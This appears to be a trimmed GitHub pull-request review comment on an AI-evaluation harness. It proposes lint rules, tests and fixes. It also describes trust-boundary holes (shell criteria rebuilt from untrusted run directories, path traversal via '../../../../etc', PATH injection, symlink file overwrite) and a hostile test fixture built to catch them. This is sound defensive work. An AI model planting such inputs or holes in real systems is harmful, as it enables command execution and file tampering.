  • [ce-lint] CE057 — evalboard ungraded-parity scan. New whole-tree check tests/lint/evalboard_ungraded.py + TestCE057EvalboardUngraded (the CE026/CE028 precedent of a lint rule reasoning over non-Python sources): over evalboard/lib/**/*.ts and evalboard/app/**/*.tsx, flag (a) any expression dividing a pass/success count by a row/task count where the numerator's guard is isPassStatus(...) or status === "SUCCESS" and no isGraded(...) appears in the same accumulation loop, and (b) any field declared on a *Metrics / *Summary interface with no read site anywhere under evalboard/. Prevents: lib/overview.ts:953/970/977 (executed = appearances - matureSkips inflated by ungraded rows) plus the three further raw status === "SUCCESS" rates at overview.ts:1095-1097, :207-208 and :1206-1209 that the PR's ungraded sweep never reached; run-view.tsx:115-120 perTaskPassCounts scoring NOT_GRADED rows as failures (verified: 5 tasks × 2 repeats all ungraded renders "0% — 0/5 tasks" with a red "Failed: 5"); and the write-only RunMetrics.ungraded (run-view.tsx:43) and RunSummary.tasksNotGraded (lib/runs.ts:63) fields, neither of which has any reader.
  • [ce-lint] Extend CE037 (tests/lint/rules/ce037_no_dead_private_helper.py) from "unreferenced module-level private helper" to "write-only sink": also flag a local list/dict/set that is only ever mutated (append / add / update / subscript assignment) and never read, returned, passed as an argument, or iterated. Ruff's F841 cannot see this — the name is used, just never for its value. Same rationale as CE037's docstring: a variable whose name documents a handled case that the code does not actually handle is worse than none. Prevents: cli/run_command.py:706/738 failed_to_load, written and never read, so an unreadable row silently vanishes from run.json entirely — contradicting the docstring at :685-692 ("neither aborts the resume nor silently vanishes from run.json — it stays visible as tasks_not_graded") and bypassing the ungraded_but_asked_to_grade exit gate at :619. Also catches CE047's own _EXTERNALLY_WRITTEN: dict[str, str] = {}, whose emptiness makes the first disjunct of its own exemption test permanently False while the violation message tells readers to add keys to it.
  • [ruff] Enable mccabe complexity in [tool.ruff.lint]: add "C90" to select and set [tool.ruff.lint.mccabe] max-complexity = 20, grandfathering the current offenders through [tool.ruff.lint.per-file-ignores] with a comment matching the existing PLR0915/PLR0912 rationale ("gates NEW growth past these bounds; existing offenders are tracked, not auto-decomposed"). The repo already caps statements (80) and branches (25) but not cyclomatic complexity, which is why four functions crossed the CLAUDE.md "CC > 20 in a hot module" bar in one PR without any gate firing. Prevents: The complexity drift measured with the repo's own radon: orchestrator.py run C(18)→D(22), _setup C(19)→D(22), _finalize_result D(26)→D(28), _cleanup C(19)→C(20); cli/run_command.py _run_with_experiment C(19)→D(27) at 198 lines; orchestration/experiment.py aggregate_results F(48)→F(54); reports_experiment.py generate_variant_report F(44)→F(46). A max-complexity = 20 gate fails run, _setup and _run_with_experiment at the point the inline if not self.grade / elif not self.grade conditionals are threaded in, forcing the _terminal_status(success) and _apply_resume(...) extractions.
  • [pyright] Make the type checker actually enforce the exhaustiveness status.ts:13 claims. Type-checker bucket, evalboard side: the twin of pyright here is tsc --noEmit, already gated by make evalboard-verify. Convert the two StatusCategory consumers — evalboard/app/runs/[id]/run-view.tsx:84 and evalboard/lib/pills.tsx:68 — from if/else if/else chains to switch statements with a default: return assertNever(category) arm (add a one-line assertNever(x: never): never helper to lib/status.ts), and enable @typescript-eslint/switch-exhaustiveness-check if eslint is added. On the Python side, apply the same tightening to the str-typed environment_info provenance keys by declaring the graded_by_* prefix as a Literal union rather than a free string. Prevents: The false comment at evalboard/lib/status.ts:13 ("A distinct member makes that a type error at each site instead") — I confirmed no diagnostic is produced at either consumer, which is precisely why the ungraded sweep missed lib/overview.ts entirely. With assertNever in place, adding the fourth StatusCategory member would have failed make evalboard-verify and forced every consumer to be revisited.
  • [bandit-codeql] Add a CodeQL model pack (.github/codeql/extensions/coder-eval.model.yml, referenced from codeql.yml's packs:) that declares run-directory record deserialization as a taint SOURCE — orchestration/regrade.load_prior_result, EvaluationResult.model_validate_json, and TaskDefinition.model_validate(record.resolved) — so the existing security-and-quality suite's py/path-injection and py/command-line-injection queries reach the detached-grading sinks (Path.__truediv__, Sandbox.run_commandsubprocess.run(shell=True), asyncio.create_subprocess_shell). The stock suite misses all of this because file-derived data is not a default remote-flow source. Pair it with a review of the now-stale suppressions this PR invalidates: # nosec B602 at sandbox.py:1258 and the justification at orchestrator.py:2861-2864 ("pre/post_run commands are authored in the task YAML, which is already a trusted artifact") — no longer true once the task is rebuilt from an untrusted run directory. Prevents: regrade.py:76 executing success_criteria / pre_run / post_run shell commands rebuilt from a shared run directory's own task.json under the grader's credentials (the only mitigation today is a non-gating logger.warning at :98-103); regrade.py:163 path traversal via prior.task_id; orchestrator.py:2094 _sanitize_restored_path keeping RELATIVE PATH entries resolved against the grader's cwd and prepending them ahead of the host PATH (verified: evilbin/private/tmp/cwdtest/evilbin at the front of PATH for every criterion subprocess); path_utils.py:50's symlink-followed temp write.

Harness improvements (not statically reachable):

  • Add a run ≡ execute + evaluate fact-parity golden test (tests/test_execute_evaluate_parity.py): run the agentless smoke task once under run, once under execute followed by evaluate <run_dir>, and diff the two EvaluationResult records field-by-field with an explicit allowlist of fields that are permitted to differ (grading timestamps, graded_by_* provenance). Every other field — final_status, max_turns_exhausted, iterations, token_usage, environment_info.api_routing — must match exactly. Parametrize over a max-turns-exhausting task and an over-budget task. Why not static: The divergence is a reachability property of runtime control flow, not a code shape: the if not self.grade return at orchestrator.py:2255 sits before blocks that are perfectly well-formed; only executing both paths shows that max_turns_exhausted (writers at 793/2286/2664, all unreachable under grade=False) and _check_run_limits (sole single-shot call site at 2296) never run. Prevents: execute exiting 0 for a max-turns or over-budget run where run exits 1 and reports MAX_TURNS_EXHAUSTED / TOKEN_BUDGET_EXCEEDED, contradicting execute_command.py:195-197 and docs/USER_GUIDE.md:79-80 ("Only the verdict is withheld, never the facts of the run"); a detached grade overwriting the run's recorded api_routing with the grading host's route (orchestrator.py:1753 vs the "prior wins" contract at :813-817), leaving a self-contradictory record with api_routing: anthropic_direct beside a stale aws_region/bedrock_model.
  • Add a grading-failure fault-injection matrix (tests/test_grading_failure_matrix.py): parametrize {SuccessChecker.check_all_async raises, regrade_in_place raises, the orchestrator RETURNS a populated FinalStatus.ERROR} × {run --resume, evaluate <run_dir>, evaluate --copy} and assert for each cell that (a) the on-disk task.json is still NOT_GRADED, (b) a second --resume grades the row to its true verdict, (c) the console names the underlying error rather than a downstream symptom. Why not static: The branch taken is selected by a runtime status value returned from Orchestrator.run()'s broad except Exception — no static check can distinguish "raises" from "returns a populated ERROR result", which is exactly the distinction the existing test gets wrong. Prevents: run_command.py:746-759 (the else:/ERROR-return arm) never executing in the suite while the test that looks like it covers it patches regrade_in_place to raise and lands in the sibling except arm — so a real grading crash writes ERROR over the row, which partition_for_resume (batch.py:380) then treats as complete forever; evaluate_command.py:330-334's count-mismatch guard preempting the new ERROR branch so the user sees only ✗ Result count mismatch: got 0, expected 2 (reproduced) and is never told the run is still re-gradeable; the uncovered failed_to_load / :738-739 shape.
  • Check in a hostile run-directory fixture (tests/fixtures/hostile_run/) and drive evaluate at it: a task.json carrying task_id: "../../../../etc", a success_criteria[0] of {type: run_command, command: "touch $CANARY"}, an environment_info.command_base_path with a relative entry and a run-dir sibling, a pre-planted task.json.tmp symlink, and a task.json that is itself a symlink. Assert each is refused or neutralized and that no canary file is created anywhere outside the sandbox. Why not static: CodeQL can flag the flow but cannot prove the mitigation holds — path resolution, symlink following and PATH composition are all runtime behaviors of the OS. It is also the only way to keep the guards honest once they exist: today they are code no test executes (coverage misses evaluate_command.py:416-417, 423-427 and regrade.py:249-250). Prevents: the arbitrary-file-overwrite primitive at path_utils.py:50 that bypasses the symlink refusal _write_back deliberately added (reproduced end-to-end: the victim file was truncated and os.replace then renamed the symlink away); default_workspace's unchecked artifacts / prior.task_id; _sanitize_restored_path keeping relative and run-dir-sibling PATH entries; shell criteria rebuilt from the recorded config. Note the existing assertion at tests/test_detached_grading_guards.py:205 actively PINS the run-dir-sibling entry as kept, so it must be updated with the fix.
  • Add a reference-digest round-trip test that computes the recorded value the way production does: stage a reference directory containing .git/HEAD (and a symlink) through stage_reference_dir, digest the STAGED copy exactly as orchestrator.py:1377-1378 does, then call verify_reference_unchanged and assert it passes. Extend the same fixture to the docker /work/references mount path. Why not static: The defect is an inequality between two hash values computed over two differently-filtered trees; no AST or grep rule can see that digest_tree(staged_copy) and digest_tree(source) disagree — only running both does. Prevents: regrade.py:227 comparing the staged (.git-stripped) recorded digest against the raw source tree, so every evaluate / run --resume over a task whose reference is a git checkout raises RegradeError: ... changed since this run was executed and permanently un-grades the row with a misleading message stamped on error_message (run_command.py:745). Reproduced: staged 4e93e25e… vs source 46604f49…. The existing guard tests pass only because tests/test_regrade.py:191 digests the source directly and its fixture tree is flat.
  • Add a diff-coverage gate to .github/workflows/pr-checks.yml: run diff-cover coverage.xml --compare-branch=origin/main --fail-under=90 after the existing pytest step, so lines added by the PR must be covered even when the global 80% floor is comfortably met. Why not static: Coverage is by definition a property of an executed test suite; a static rule cannot know which branches the tests reach. Prevents: the six new-in-PR uncovered branches this review had to find by hand — run_command.py:738-739 and 754-759 (the primary crash-recovery arm), evaluate_command.py:381 and 416-417/423-427 (both write-back refusals), regrade.py:249-250 (the backup symlink guard), evaluate_command.py:87-88 (the documented evaluate <task.yaml> <run_dir> shape) — plus the entirely untested _compute_suite_rollup ungraded bucket and grading_sandbox_config (zero test references).
  • Add an ungraded golden fixture to the evalboard vitest suite (evalboard/lib/__tests__/ungraded-golden.test.ts): one rows fixture in three shapes — all-ungraded, mixed graded/ungraded, and repeats × variants — asserted through computeRunMetrics, computeVariantMetrics, perTaskPassCounts, buildTagTaskRows, summarizeListing, rowFromScoped and the run-view tile expressions, with the invariant that an ungraded row leaves BOTH sides of every rate and that a fully-ungraded surface renders n/a, never 0%. Why not static: The defect is arithmetic and rendered output over a data shape, not a code pattern; CE057's grep rule catches a missing isGraded guard but cannot catch a correct guard applied to the wrong denominator — which is exactly run-view.tsx's bug (pct uses graded, the label uses metrics.total, so 8/10 graded + 2 ungraded renders "80%" beside "8 / 12"). Prevents: the red 0% next to 0 / 12 on a plain 12-task execute run (reproduced under vitest: DISPLAY 0% 0 / 12 text-red-700), the "0% — 0/5 tasks" + red "Failed: 5" headline on execute --repeats 2, and both arms of a multi-variant run reading 0% via variantRate (run-view.tsx:201).
  • Add a docker detached-grading CI leg (extend the existing docker job in pr-checks.yml, or a nightly leg): execute a driver: docker sample task, then evaluate its run dir, and assert the harness either refuses with a RegradeError naming an explicit opt-in flag, or records graded_on_host: true in environment_info so the row is never silently comparable with a run row. Pair with a schema field + report badge for that provenance. Why not static: The driver value is produced by the five-layer merge at runtime, and the damage (a criterion executing against a host filesystem that lacks /verifier) only manifests when the criterion actually runs; CE055 catches the code shape, but only a live leg proves the replacement behavior is safe. Prevents: a docker task's verifier criterion scoring 0.0 on the grader's host and writing the row back FAILURE for a trajectory run scored 1.0, plus rm -rf /verifier / mkdir -p /logs/verifier executing unsandboxed on the grading machine (regrade.py:270; grading_sandbox_config has zero test coverage today).
  • Add a cross-surface score-provenance assertion (tests/test_ungraded_reporting.py extension): produce one fully-ungraded and one mixed run, then walk EVERY emitted surface — the CoderEval.Task.End telemetry event, task.json, suite.json + suite.md, experiment.json + experiment.md, run.json, the run log lines, and the JUnit XML — and assert that no surface publishes a numeric 0.0 rate or score for a row that was never measured, and that an errored row is counted as a miss rather than dropped. Why not static: It is a data property of a produced run across a dozen emitters with no shared type; CE050 catches only the literal or 0.0 shape, and CE051 only the model declarations — neither sees reports.py:1205's log line, the JUnit element, or the KQL-visible telemetry dimension. Prevents: orchestrator.py:306's laundered Score: 0.0 (which four shipped avg(todouble(customDimensions.Score)) tiles in coder_eval_uipath/infra/dashboards consume unfiltered); SuiteRollup rendering **Pass rate**: 0.0% and logging pass_rate=0.0% for an unmeasured suite; experiment.py:889 dropping ERROR/BUILD_FAILED rows (weighted_score is None) from average_score so an infrastructure-failure night scores HIGHER than a clean one (reproduced: main 0.5 → PR head 1.0), contradicting the anti-"bonus for erroring" rationale the same PR keeps at results.py:1049-1053; best_variant naming an input-order-dependent winner with is_tie=False when nothing was scored (reproduced: swapping the two inputs flips the reported winner); and _pick_worst_status absorbing an ungraded replicate into a pass on the --resume fold-back path its comment claims is unreachable.
  • Give evaluate an explicit mode disambiguator and cover the overload matrix: add --run-dir-mode / --work-dir-mode (or accept the run dir only via a named option) so the caller can always override the is_run_dir() filename probe, and extend tests/test_evaluate_target.py — whose docstring claims every combination is enumerated — with (a) a work dir that merely CONTAINS a file named task.json, and (b) an end-to-end evaluate <edited task.yaml> <run_dir> case asserting the supplied criteria, not the recorded ones, produced the verdict. Why not static: The mode is chosen by a filesystem probe on data that does not exist at analysis time; the failure is only visible when a real directory happens to hold that filename. Prevents: coder-eval evaluate <task.yaml> <workdir> — a shape that works on main — aborting with an unrecoverable typer.BadParameter wall of pydantic errors ("…/task.json is not a readable EvaluationResult: 6 validation errors…") that names neither the mode switch nor any workaround short of renaming the user's file (reproduced against the real CLI; --copy does not rescue it); and evaluate_command.py:87-88, the one documented evaluate shape with no end-to-end coverage.

Top 5 Priority Actions

  1. Stop the silent driver: docker -> tempdir downgrade in grading_sandbox_config (src/coder_eval/orchestration/regrade.py:270): a docker task's run_command criteria now run on the grading host, scoring FAILURE for a trajectory run scored 1.0 (and running rm -rf /verifier unsandboxed) — refuse with a RegradeError or require an explicit opt-in, and record graded_on_host so such rows are never compared with run rows.
  2. Move the max-turns capture and _check_run_limits above the if not self.grade early return in _evaluation_loop (src/coder_eval/orchestrator.py:2255): today a max-turns or over-budget run finalizes NOT_GRADED and exits 0 under execute, and _seed_from_prior_result cannot restore the lost fact, so execute + evaluate != run for identical agent output, contradicting the shipped contract.
  3. Narrow the aggregation filter from weighted_score is not None to final_status.category == "ungraded" in average_score / score_spread / per_replicate_scores (src/coder_eval/orchestration/experiment.py:889, :881, :919-930, _mean_graded_score at :832): errored and BUILD_FAILED rows are dropped from both sides, so an infrastructure-failure night reports a higher headline score than a clean one (reproduced: 0.5 -> 1.0) and best_variant names an arbitrary winner when nothing was scored.
  4. Make a grading crash leave the row re-gradeable instead of writing ERROR over it — grade into a scratch dir and promote only on a non-ERROR result (src/coder_eval/cli/run_command.py:747, twin at src/coder_eval/cli/evaluate_command.py:374) — and fix verify_reference_unchanged to digest a staged copy rather than the raw source (src/coder_eval/orchestration/regrade.py:227), which today reports a false mismatch for any reference dir containing .git; both branches are currently uncovered, and the one test that looks like it covers the crash exercises the rarer raising shape.
  5. Close the untrusted-run-directory trust boundary before shipping detached grading: gate TaskDefinition.model_validate(record.resolved) behind an explicit opt-in so a planted task.json cannot execute run_command / pre_run shell on the grader's host (src/coder_eval/orchestration/regrade.py:76), containment-check the task_id workspace fallback (regrade.py:163), and guard the temp file in write_text_atomic with O_EXCL so a pre-planted task.json.tmp symlink cannot bypass _write_back's refusal (src/coder_eval/path_utils.py:50).

Stats: 1 🔴 · 8 🟠 · 19 🟡 · 11 🔵 across 8 axes reviewed.


Full un-truncated report (per-axis files, verification ledger, results.json, raw tool output): tmp/code-review-260903-1802/. This comment is a length-trimmed view of 99-pr-comment.md (104 KB > GitHub's 65 KB comment limit).

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants